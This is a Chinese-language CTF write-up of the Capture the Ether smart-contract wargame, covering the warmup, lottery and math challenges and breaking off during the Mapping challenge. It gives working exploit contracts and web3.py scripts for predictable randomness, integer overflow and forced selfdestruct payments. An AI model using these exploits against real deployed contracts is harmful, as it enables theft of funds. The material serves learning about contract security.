Capture the ether 是一个适合用来入门合约的 wargame 平台。我最近一直到五一花了点时间做了下一下。 另外这里感谢 @0x9k @pikachu @xhyumiracle @iczc 给我提供的帮助。
平台地址Capture the Ether - Challenges
Warmup 1. Deploy a contract题目描述:
To complete this challenge, you need to:
Install MetaMask .
Switch to the Ropsten test network .
Get some Ropsten ether. Clicking the “buy” button in MetaMask will take you to a faucet that gives out free test ether.
After you’ve done that, press the red button on the left to deploy the challenge contract.
You don’t need to do anything with the contract once it’s deployed. Just click the “Check Solution” button to verify that you deployed successfully.
1 2 3 4 5 6 7 8 pragma solidity ^0.4.21; contract DeployChallenge { // This tells the CaptureTheFlag contract that the challenge is complete. function isComplete() public pure returns (bool) { return true; } }
解题
安装完 MetaMask
后, 开启测试网络。
获取代币: 通常 MetaMask
切换到 Ropsten 测试网络后, 点击购买, 可以看到一个 测试水管
,可以从一个水龙头获取代币
水龙头: https://faucet.metamask.io/
但是这个水龙头我获取不到代币,最后用了 @iczc 的水龙头获取的: ETH Testnet Faucet (chainflag.org)
2. callme题目描述
To complete this challenge, all you need to do is call a function.
The “Begin Challenge” button will deploy the following contract:
1 2 3 4 5 6 7 8 9 pragma solidity ^0.4.21; contract CallMeChallenge { bool public isComplete = false; function callme() public { isComplete = true; } }
Call the function named callme
and then click the “Check Solution” button.
Enjoy this inspirational music while you work: Call On Me .
解题
题目要让我们部署合约后,调用 callme
这个函数,意思让我们尝试与部署后的合约进行交互。
部署题目合约, 得到一个 challenge 地址
2. 安装 remix-ide 编辑器,或者使用在线的: Remix - Ethereum IDE
部署题目合约用来交互调用 challenge 的 callme 函数
部署方法如下
选择 injected web3
, 点击部署, 填入 At address
, 然后就能调用对应公开方法
这里有一个需要注意的地方,调用 callme 的时候记得看清楚调用的合约地址, 像图中这个地方其实调用的方法不对。应该在下面还有一个callme
3. Choose a nickname题目描述
WARMUP: 200 POINTS
Begin Challenge
It’s time to set your Capture the Ether nickname! This nickname is how you’ll show up on the leaderboard .
The CaptureTheEther
smart contract keeps track of a nickname for every player. To complete this challenge, set your nickname to a non-empty string. The smart contract is running on the Ropsten test network at the address 0x71c46Ed333C35e4E6c62D32dc7C8F00D125b4fee
.
Here’s the code for this challenge:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 pragma solidity ^0.4.21; // Relevant part of the CaptureTheEther contract. contract CaptureTheEther { mapping (address => bytes32) public nicknameOf; function setNickname(bytes32 nickname) public { nicknameOf[msg.sender] = nickname; } } // Challenge contract. You don't need to do anything with this; it just verifies // that you set a nickname for yourself. contract NicknameChallenge { CaptureTheEther cte = CaptureTheEther(msg.sender); address player; // Your address gets passed in as a constructor parameter. function NicknameChallenge(address _player) public { player = _player; } // Check that the first character is not null. function isComplete() public view returns (bool) { return cte.nicknameOf(player)[0] != 0; } }
Enjoy this inspirational music while you work: Say My Name .
解题
题目要求我们设置我们的 nickname
, 调用 setNickName
方法即可, 但是这里函数传入的类型为 bytes32
, 所以我们需要将我们的我们的 nickname 转为 bytes32
, 我这里使用在线的网站进行转换
String To Bytes32 Online Converter (testcoins.io)
转完之后, 在 remix-ide 中调用 setNickName
方法
Lotteries 1. Guesst the number题目描述
I’m thinking of a number. All you have to do is guess it.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 pragma solidity ^0.4.21; contract GuessTheNumberChallenge { uint8 answer = 42; function GuessTheNumberChallenge() public payable { require(msg.value == 1 ether); } function isComplete() public view returns (bool) { return address(this).balance == 0; } function guess(uint8 n) public payable { require(msg.value == 1 ether); if (n == answer) { msg.sender.transfer(2 ether); } } }
Enjoy this inspirational music while you work: Guessing Games .
解题
让我猜 answer
的值是多少, 如果猜对则 tansfer
, 代码里的 answer
是写死的 42 ,那么猜 42 即可 。然后代码中要求 msg.value
要求要一个 1 ether
2. Guess the secret number题目描述 :
Putting the answer in the code makes things a little too easy.
This time I’ve only stored the hash of the number. Good luck reversing a cryptographic hash!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 pragma solidity ^0.4.21; contract GuessTheSecretNumberChallenge { bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365; function GuessTheSecretNumberChallenge() public payable { require(msg.value == 1 ether); } function isComplete() public view returns (bool) { return address(this).balance == 0; } function guess(uint8 n) public payable { require(msg.value == 1 ether); if (keccak256(n) == answerHash) { msg.sender.transfer(2 ether); } } }
Enjoy this inspirational music while you work: Mr. Roboto .
解题
要求 keccak256(n) == 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365
, n 为用户输入,且 msg.value == 1 ether
n 的值为 uint 8 , 则范围为 0 - 256, 写一个脚本爆破下,爆破脚本如下:
1 2 3 4 5 6 7 >>> from web3 import Web3>>> for i in range(0 ,256 ):... if Web3.keccak(i).hex() == '0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365' :... print(i)... break 170 >>>
solidity 脚本参考 @0x9k PDF
1 2 3 4 5 6 7 8 9 10 11 12 pragma solidity ^0.4.21; contract Test { bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365; function guess() public returns(uint8) { for (uint8 n = 0; n< 255; n++) if (keccak256(n) == answerHash) { return n; } } }
PS: 遇到了一个 Python3 Cryptodome 库的 keccak256 和 solidity 跑出来结果不一致的问题Python and Solidity keccak256 function gives different results
参考文档
Web3 API — Web3.py 5.28.0 documentation (web3py.readthedocs.io)
3. Guess the random number题目描述:
This time the number is generated based on a couple fairly random sources.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 pragma solidity ^0.4.21; contract GuessTheRandomNumberChallenge { uint8 answer; function GuessTheRandomNumberChallenge() public payable { require(msg.value == 1 ether); answer = uint8(keccak256(block.blockhash(block.number - 1), now)); } function isComplete() public view returns (bool) { return address(this).balance == 0; } function guess(uint8 n) public payable { require(msg.value == 1 ether); if (n == answer) { msg.sender.transfer(2 ether); } } }
Enjoy this inspirational music while you work: The Random Song .
解题
该题与上一个题的区别是, 这个题目的 answer 由 uint8(keccak256(block.blockhash(block.number - 1), now));
计算而得。搜了下相关 api , 这个代码版本为 0.4.21 :
block.blockhash()
is now blockhash()
hash of the given block when blocknumber
is one of the 256 most recent blocks; otherwise returns zero
now
is block.timestamp
: current block number
block.number
(uint
): current block number
由于合约的内容都是公开的,因此我们可以在合约对应的 stroge
里找到 number。 这里有几种方案
用 solidity 写一个交互代码
用 Python 的 web3 写一个脚本
我这里使用 web3 写一个交互脚本,由于web3.py 因为自身不会作为一个区块链的节点存在,因此它需要有一个节点用来存取区块链上的资料。一般来说最安全的方式应该是自己使用 geth 或者 parity 来自建节点,不过如果在不想要自建节点的状况时,可以考虑看看 infura 提供的 HTTP 节点服务。
我这里到 Infura 注册一个账号, 然后获取对应的 API Key
脚本内容如下:
1 2 3 4 5 6 7 8 from web3 import Web3infura_url = 'https://mainnet.infura.io/v3/[api_key]' web3 = Web3(Web3.HTTPProvider(infura_url)) address = 'XXXX' a = web3.eth.getStorageAt(address, 1 ) print(a)
参考资料
web3.eth API — Web3.py 5.28.0 documentation (web3py.readthedocs.io) Capture Ether: Guess the Random Number on a Smart Contract | by Tomás | Better Programming Let’s Play — Capture the Ether : Lotteries (Part I) | by Forest Fang | Medium 通过 web3.py 用 Python 存取 Ethereum-51CTO.COM
4. Guess the new number题目描述:
The number is now generated on-demand when a guess is made.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 pragma solidity ^0.4.21; contract GuessTheNewNumberChallenge { function GuessTheNewNumberChallenge() public payable { require(msg.value == 1 ether); } function isComplete() public view returns (bool) { return address(this).balance == 0; } function guess(uint8 n) public payable { require(msg.value == 1 ether); uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)); if (n == answer) { msg.sender.transfer(2 ether); } } }
Enjoy this inspirational music while you work: I Guess It’s Christmas Time .
题解:
这个题目的随机数是在 guess 函数调用的时候生成的。 即题目描述中 的 generated on-demand when a guess is made , 因此我们没法直接获取改随机值。仔细阅读代码我们发现, answer
由代码 uint8(keccak256( block.blockhash(block.number - 1), now));
生成 。通过查阅相关资料我们发现:
block.blockhash(block.number-1)
有一些合约则基于负一高度区块区块哈希来产生伪随机数,这也是有缺陷的。攻击合约只要以相同代码执行,即可以产生到同样的伪随机数。
示例:< https://etherscan.io/address/0xF767fCA8e65d03fE16D4e38810f5E5376c3372A8 >
1 //Generate random number between 0 & maxuint256 constant private FACTOR = 1157920892373161954235709850086879078532699846656405640394575840079131296399;function rand(uint max) constant private returns (uint256 result){ uint256 factor = FACTOR * 100 / max; uint256 lastBlockNumber = block.number - 1; uint256 hashVal = uint256(block.blockhash(lastBlockNumber)); return uint256((uint256(hashVal) / factor)) % max;}
因此我们只需要写一个中继合约,通过中继合约调用目标合约的相关函数,即可。中继合约需要用到 Interfaces) 利用代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 pragma solidity ^0.4.21; interface GuessTheNewNumberSolve { function guess(uint8 n) external payable; } contract GuessTheNewNumberSolver { address owner; function GuessTheNewNumberSolver() public { owner = msg.sender; } function solve(address _challengeAddress) public payable { require(msg.value == 1 ether); uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)); GuessTheNewNumberSolve challenge = GuessTheNewNumberSolve(_challengeAddress); challenge.guess.value(msg.value)(answer); } function withdraw() public { require(msg.sender == owner) ; owner.transfer(address(this).balance); } }
在 remix 中部署该合约代码, 并调用 solve
函数
参考资料 以太坊智能合约中随机数预测 - FreeBuf网络安全行业门户 Let’s Play — Capture the Ether : Lotteries (Part II)
5. Predict the future题目描述:
This time, you have to lock in your guess before the random number is generated. To give you a sporting chance, there are only ten possible answers.
Note that it is indeed possible to solve this challenge without losing any ether.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 pragma solidity ^0.4.21; contract PredictTheFutureChallenge { address guesser; uint8 guess; uint256 settlementBlockNumber; function PredictTheFutureChallenge() public payable { require(msg.value == 1 ether); } function isComplete() public view returns (bool) { return address(this).balance == 0; } function lockInGuess(uint8 n) public payable { require(guesser == 0); require(msg.value == 1 ether); guesser = msg.sender; guess = n; settlementBlockNumber = block.number + 1; } function settle() public { require(msg.sender == guesser); require(block.number > settlementBlockNumber); uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10; guesser = 0; if (guess == answer) { msg.sender.transfer(2 ether); } } }
解题:
, 题目要求先通过 lockInGuess
下注, 然后调用 settle
开奖。 由于
1 2 3 require(block.number > settlementBlockNumber); uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
这部分代码的存在,我们无法直接通过预测来解决这个题目。 但是由于 answer
范围为 0 - 9, 我们可以先 lock 一个值, 然后当觉得时机合适的,即 answer == uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
的时候,我们再调用 settle
。
首先编写一个中继合约, 合约内容要能调用 challenge 的 lock 以及settle
, 在合约中调用 settle 前要判断下是否时机符合
编写一个 web3 脚本, 来调用中继合约的判断函数, 当 challenge 的 isComplete
已经被调用后, 就退出脚本
PS: 编写 web3 python3 脚本所需要的 API JSON 可在 Remix 中导出。
code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 pragma solidity ^0.4.21; interface IGuessTheNewNumberChallenge { function isComplete() external view returns (bool); function lockInGuess(uint8 n) external payable; function settle() external; } contract GuessTheNumberSolver { address owner; function GuessTheNumberSolver() public { owner = msg.sender; } function lockInGuess(address _addr, uint8 n) public payable { require(msg.value == 1 ether); IGuessTheNewNumberChallenge challenge = IGuessTheNewNumberChallenge(_addr); challenge.lockInGuess.value(msg.value)(n); } function settle(address _addr, uint8 n ) public payable { uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10; if (answer == n ){ IGuessTheNewNumberChallenge challenge = IGuessTheNewNumberChallenge(_addr); challenge.settle(); } } function() public payable {} function withdraw() public { require(msg.sender == owner) ; owner.transfer(address(this).balance); } }
6. Predict the block hash题目描述:
Guessing an 8-bit number is apparently too easy. This time, you need to predict the entire 256-bit block hash for a future block.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 pragma solidity ^0.4.21; contract PredictTheBlockHashChallenge { address guesser; bytes32 guess; uint256 settlementBlockNumber; function PredictTheBlockHashChallenge() public payable { require(msg.value == 1 ether); } function isComplete() public view returns (bool) { return address(this).balance == 0; } function lockInGuess(bytes32 hash) public payable { require(guesser == 0); require(msg.value == 1 ether); guesser = msg.sender; guess = hash; settlementBlockNumber = block.number + 1; } function settle() public { require(msg.sender == guesser); require(block.number > settlementBlockNumber); bytes32 answer = block.blockhash(settlementBlockNumber); guesser = 0; if (guess == answer) { msg.sender.transfer(2 ether); } } }
Enjoy this inspirational music while you work: Get Lucky .
解题:
根据黄皮书对 BLOCKHASH
的定义:只能获取最近 256 个区块的哈希,超出时返回 0
所以我们可以先猜 0 的 hash, 然后等他超过 256 个区块,再来开奖。 可以用 python3 web3直接实现利用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 from web3 import Web3 ,HTTPProviderimport jsonimport timechallenge_addr = "" wallet_addr = "" wallet_private_key = "" challenge_api = '''[ { "constant": false, "inputs": [], "name": "settle", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" }, { "constant": true, "inputs": [], "name": "isComplete", "outputs": [ { "name": "", "type": "bool" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": false, "inputs": [ { "name": "hash", "type": "bytes32" } ], "name": "lockInGuess", "outputs": [], "payable": true, "stateMutability": "payable", "type": "function" }, { "inputs": [], "payable": true, "stateMutability": "payable", "type": "constructor" } ] ''' w3 = Web3(HTTPProvider("https://ropsten.infura.io/v3/[key]" )) contract = w3.eth.contract(address = challenge_addr, abi = json.loads(challenge_api)) acct = w3.eth.account.from_key(wallet_private_key) my_guess_hash = "0000000000000000000000000000000000000000000000000000000000000000" print(w3.eth.getTransactionCount(acct.address)) print(contract.all_functions()) tx = contract.functions.lockInGuess(my_guess_hash).buildTransaction( { "value" : Web3.toWei(1 , 'ether' ), "gas" : 3000000 , "gasPrice" : w3.eth.gasPrice, "nonce" : w3.eth.getTransactionCount(acct.address) , "chainId" : 3 } ) signed = acct.signTransaction(tx) tx_id = w3.eth.sendRawTransaction(signed.rawTransaction) print(w3.eth.wait_for_transaction_receipt(tx_id, timeout= 300 ))
Math 1. Token sale题目描述:
This token contract allows you to buy and sell tokens at an even exchange rate of 1 token per ether.
The contract starts off with a balance of 1 ether. See if you can take some of that away.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 pragma solidity ^0.4.21; contract TokenSaleChallenge { mapping(address => uint256) public balanceOf; uint256 constant PRICE_PER_TOKEN = 1 ether; function TokenSaleChallenge(address _player) public payable { require(msg.value == 1 ether); } function isComplete() public view returns (bool) { return address(this).balance < 1 ether; } function buy(uint256 numTokens) public payable { require(msg.value == numTokens * PRICE_PER_TOKEN); balanceOf[msg.sender] += numTokens; } function sell(uint256 numTokens) public { require(balanceOf[msg.sender] >= numTokens); balanceOf[msg.sender] -= numTokens; msg.sender.transfer(numTokens * PRICE_PER_TOKEN); } }
Enjoy this inspirational music while you work: Sale Sail .
解题:
buy
函数中的乘法存在溢出, 因此我们可以低买高卖 。 此处的msg.value是以ether为单位,因为一个PRICE_PRE_TOKEN就是1 ether,这里我们需要明白在以太坊里最小的单位是wei,所以此处的1 ether事实上也就是10^18 wei,即其值的大小为10^18 wei,这样就满足我们溢出的条件了,因为以太坊处理数据是以256位为单位,我们传入一个较大的numTokens,乘法运算溢出后所需的mag.value就非常小了, 直接利用 Python 脚本解决这个题目。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 from socket import timeoutfrom web3 import Web3 ,HTTPProviderimport jsonimport timechallenge_addr = "0x0e27e17Ab06db38134825299a2bA0A3749Ea810c" wallet_addr = "0x5b667caAC1E53411D9b87Fc39eEe2F881FDDF589" wallet_private_key = "" challenge_api = '''[ { "constant": true, "inputs": [ { "name": "", "type": "address" } ], "name": "balanceOf", "outputs": [ { "name": "", "type": "uint256" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": true, "inputs": [], "name": "isComplete", "outputs": [ { "name": "", "type": "bool" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": false, "inputs": [ { "name": "numTokens", "type": "uint256" } ], "name": "buy", "outputs": [], "payable": true, "stateMutability": "payable", "type": "function" }, { "constant": false, "inputs": [ { "name": "numTokens", "type": "uint256" } ], "name": "sell", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "payable": true, "stateMutability": "payable", "type": "constructor" } ] ''' w3 = Web3(HTTPProvider("https://ropsten.infura.io/v3/[key]" )) contract = w3.eth.contract(address = challenge_addr, abi = json.loads(challenge_api)) acct = w3.eth.account.from_key(wallet_private_key) min_token_number_with_overflow = 2 ** 256 // 10 ** 18 + 1 value = (min_token_number_with_overflow * 10 ** 18 ) % 2 ** 256 print("[*] Buying ..." ) tx = contract.functions.buy(min_token_number_with_overflow).buildTransaction( { 'value' : value, 'gas' : 3000000 , "nonce" : w3.eth.getTransactionCount(acct.address) , } ) signed = acct.signTransaction(tx) tx_id = w3.eth.sendRawTransaction(signed.rawTransaction) receipt = w3.eth.wait_for_transaction_receipt(tx_id, timeout = 300 ) if receipt['status' ] == 1 : print("[+] Bought!" ) print("[*] Selling ..." ) tx = contract.functions.sell(1 ).buildTransaction( { 'gas' : 3000000 , "nonce" : w3.eth.getTransactionCount(acct.address) , } ) signed = acct.signTransaction(tx) tx_id = w3.eth.sendRawTransaction(signed.rawTransaction) receipt = w3.eth.wait_for_transaction_receipt(tx_id, timeout = 300 ) if receipt['status' ] == 1 : print("[+] Sold!" ) print(contract.functions.isComplete().call()) print('[+] Solved' )
2. Token whale题目描述:
This ERC20-compatible token is hard to acquire. There’s a fixed supply of 1,000 tokens, all of which are yours to start with.
Find a way to accumulate at least 1,000,000 tokens to solve this challenge.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 pragma solidity ^0.4.21; contract TokenWhaleChallenge { address player; uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; string public name = "Simple ERC20 Token"; string public symbol = "SET"; uint8 public decimals = 18; function TokenWhaleChallenge(address _player) public { player = _player; totalSupply = 1000; balanceOf[player] = 1000; } function isComplete() public view returns (bool) { return balanceOf[player] >= 1000000; } event Transfer(address indexed from, address indexed to, uint256 value); function _transfer(address to, uint256 value) internal { balanceOf[msg.sender] -= value; balanceOf[to] += value; emit Transfer(msg.sender, to, value); } function transfer(address to, uint256 value) public { require(balanceOf[msg.sender] >= value); require(balanceOf[to] + value >= balanceOf[to]); _transfer(to, value); } event Approval(address indexed owner, address indexed spender, uint256 value); function approve(address spender, uint256 value) public { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); } function transferFrom(address from, address to, uint256 value) public { require(balanceOf[from] >= value); require(balanceOf[to] + value >= balanceOf[to]); require(allowance[from][msg.sender] >= value); allowance[from][msg.sender] -= value; _transfer(to, value); } }
Enjoy this inspirational music while you work: Tough Decisions .
解题:
初始账户有 1000 个token, 题目要求我们获取到 1000000 token 。 主要交易函数有两个: transfer
以及transferFrom
, 这两个函数最后都调用了 _transfer
。通过简单审计我们发现, _transfer
中的 balanceOf[msg.sender] -= value;
是存在溢出的 。 另外我们注意到 transferFrom
进行了大小检, 但是检查的是 balanceOf[from] >= value
, 但实际扣款的是 msg.sender , 因此此处存在漏洞风险。
利用思路:
准备需要两个账户 (通过 metamask 新建一个账户即可 )
通过 transfer
向新建的账户转 balance, 多转点, 让新账户的 balance 多于主账户的即可
调用 approve
设置 allowance
, spender
为主账户,value
为大于后面要转的值即可 ,例如设置为 1000
最后调用 transferFrom
函数 from
设置为账号 2, to
设置为非主账户即可, 转入一个值让其溢出即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 from web3 import Web3 ,HTTPProviderimport jsonimport timefrom pwn import logchallenge_addr = "0xDC57892A1058d1e54c9364Ba726BB7643bdA6b2C" MasterWalt = "0x5b667caAC1E53411D9b87Fc39eEe2F881FDDF589" MasterPrivKey = "" HelpWalt = "0x0cC33CD693bf9BF609e1B7C0E88E34Ff972Afe6f" HelpPrivKey = "" challenge_api = '''[ { "constant": true, "inputs": [], "name": "name", "outputs": [ { "name": "", "type": "string" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": false, "inputs": [ { "name": "spender", "type": "address" }, { "name": "value", "type": "uint256" } ], "name": "approve", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" }, { "constant": true, "inputs": [], "name": "totalSupply", "outputs": [ { "name": "", "type": "uint256" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": false, "inputs": [ { "name": "from", "type": "address" }, { "name": "to", "type": "address" }, { "name": "value", "type": "uint256" } ], "name": "transferFrom", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" }, { "constant": true, "inputs": [], "name": "decimals", "outputs": [ { "name": "", "type": "uint8" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": true, "inputs": [ { "name": "", "type": "address" } ], "name": "balanceOf", "outputs": [ { "name": "", "type": "uint256" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": true, "inputs": [], "name": "symbol", "outputs": [ { "name": "", "type": "string" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": false, "inputs": [ { "name": "to", "type": "address" }, { "name": "value", "type": "uint256" } ], "name": "transfer", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" }, { "constant": true, "inputs": [], "name": "isComplete", "outputs": [ { "name": "", "type": "bool" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": true, "inputs": [ { "name": "", "type": "address" }, { "name": "", "type": "address" } ], "name": "allowance", "outputs": [ { "name": "", "type": "uint256" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "inputs": [ { "name": "_player", "type": "address" } ], "payable": false, "stateMutability": "nonpayable", "type": "constructor" }, { "anonymous": false, "inputs": [ { "indexed": true, "name": "from", "type": "address" }, { "indexed": true, "name": "to", "type": "address" }, { "indexed": false, "name": "value", "type": "uint256" } ], "name": "Transfer", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "name": "owner", "type": "address" }, { "indexed": true, "name": "spender", "type": "address" }, { "indexed": false, "name": "value", "type": "uint256" } ], "name": "Approval", "type": "event" } ] ''' w3 = Web3(HTTPProvider("https://ropsten.infura.io/v3/[api_key]" )) contract = w3.eth.contract(address = challenge_addr, abi = json.loads(challenge_api)) MasterAccount = w3.eth.account.from_key(MasterPrivKey) HelpAccount = w3.eth.account.from_key(HelpPrivKey) log.info("Step1 , Transfer to HELP Account: 800 value " ) tx = contract.functions.transfer(HelpAccount.address, 800 ).buildTransaction( { 'nonce' : w3.eth.getTransactionCount(MasterAccount.address), 'gas' : 3000000 } ) signed = MasterAccount.signTransaction(tx) tx_id = w3.eth.sendRawTransaction(signed.rawTransaction) receipt = w3.eth.wait_for_transaction_receipt(tx_id, timeout = 300 ) if receipt['status' ] != 1 : log.failure("Step1 Failed !" ) exit(0 ) log.info("Step2 , Call approve" ) tx = contract.functions.approve(MasterAccount.address, 1000 ).buildTransaction( { 'nonce' : w3.eth.getTransactionCount(HelpAccount.address), 'gas' : 3000000 } ) signed = HelpAccount.signTransaction(tx) tx_id = w3.eth.sendRawTransaction(signed.rawTransaction) receipt = w3.eth.wait_for_transaction_receipt(tx_id, timeout = 300 ) if receipt['status' ] != 1 : log.failure("Step2 Failed !" ) exit(0 ) log.info("Step3 , call transferFrom to solve challenge" ) tx = contract.functions.transferFrom(HelpAccount.address,HelpAccount.address, 500 ).buildTransaction( { 'nonce' : w3.eth.getTransactionCount(MasterAccount.address), 'gas' : 3000000 } ) signed = MasterAccount.signTransaction(tx) tx_id = w3.eth.sendRawTransaction(signed.rawTransaction) receipt = w3.eth.wait_for_transaction_receipt(tx_id, timeout = 300 ) if receipt['status' ] != 1 : log.failure("Step3 Failed !" ) exit(0 ) print(contract.functions.isComplete().call()) log.success("Solved !" )
3. Retirement fund题目描述:
This retirement fund is what economists call a commitment device . I’m trying to make sure I hold on to 1 ether for retirement.
I’ve committed 1 ether to the contract below, and I won’t withdraw it until 10 years have passed. If I do withdraw early, 10% of my ether goes to the beneficiary
(you!).
I really don’t want you to have 0.1 of my ether, so I’m resolved to leave those funds alone until 10 years from now. Good luck!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 pragma solidity ^0.4.21; contract RetirementFundChallenge { uint256 startBalance; address owner = msg.sender; address beneficiary; uint256 expiration = now + 10 years; function RetirementFundChallenge(address player) public payable { require(msg.value == 1 ether); beneficiary = player; startBalance = msg.value; } function isComplete() public view returns (bool) { return address(this).balance == 0; } function withdraw() public { require(msg.sender == owner); if (now < expiration) { // early withdrawal incurs a 10% penalty msg.sender.transfer(address(this).balance * 9 / 10); } else { msg.sender.transfer(address(this).balance); } } function collectPenalty() public { require(msg.sender == beneficiary); uint256 withdrawn = startBalance - address(this).balance; // an early withdrawal occurred require(withdrawn > 0); // penalty is what's left msg.sender.transfer(address(this).balance); } }
Enjoy this inspirational music while you work: Smooth Criminal .
解题:
题目设置了一个十年后才能取出 eth 的合约, 要求我们提前取出所有的 Balance 。重点在 collectPenalty
函数上。
如果我们能使得 withdrawn > 0
成立, 则可以取出所有的恶 balance , 我们会注意到 startBalance - address(this).balance
存在溢出, 但是条件得是 startBalance
小于 address(this).balance
。
这里涉及到一个知识点:
SELFDESTRUCT
函数可以强制发送 ETH:
SELFDESTRUCT
是一个自毁函数,当你调用它的时候,它会使该合约无效化并删除该地址的字节码,然后它会把合约里剩余的balance发送给参数所指定的地址,比较特殊的是这笔ether的发送将无视合约的fallback函数,所以它是强制性的 。
攻击合约代码:
1 2 3 4 5 6 7 8 9 pragma solidity ^0.4.21; contract ForceAttack { function ForceAttack(address target) public payable { require(msg.value > 0); selfdestruct(target); } }
最后调用 collectPenalty
函数即可。
4. Mapping题目描述:
MATH: 750 POINTS
Begin Challenge
Who needs mapping
s? I’ve created a contract that can store key/value pairs using just an array.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 pragma solidity ^0.4.21; contract MappingChallenge { bool public isComplete; uint256[] map; function set(uint256 key, uint256 value) public { // Expand dynamic array as needed if (map.length <= key) { map.length = key + 1; } map[key] = value; } function get(uint256 key) public view returns (uint256) { return map[key]; } }
Enjoy this inspirational music while you work: Map To My Heart .
解题:
题目设置了 一个 map , 我们可以对 map 进行操作, 要求将 isComplete
设置为 True 即可。 感觉就是溢出 map 的空间,覆盖到 isComplete
的位置即可。
通过了解,我们可以知道动态数组,其在声明中所在位置决定的存储位里存放的是其长度,而其中的变量的存储位则是基于其长度所在的存储进行,这部分的详细内容可以参见此处一篇翻译文章了解以太坊智能合约存储
solidity的storage slot存储
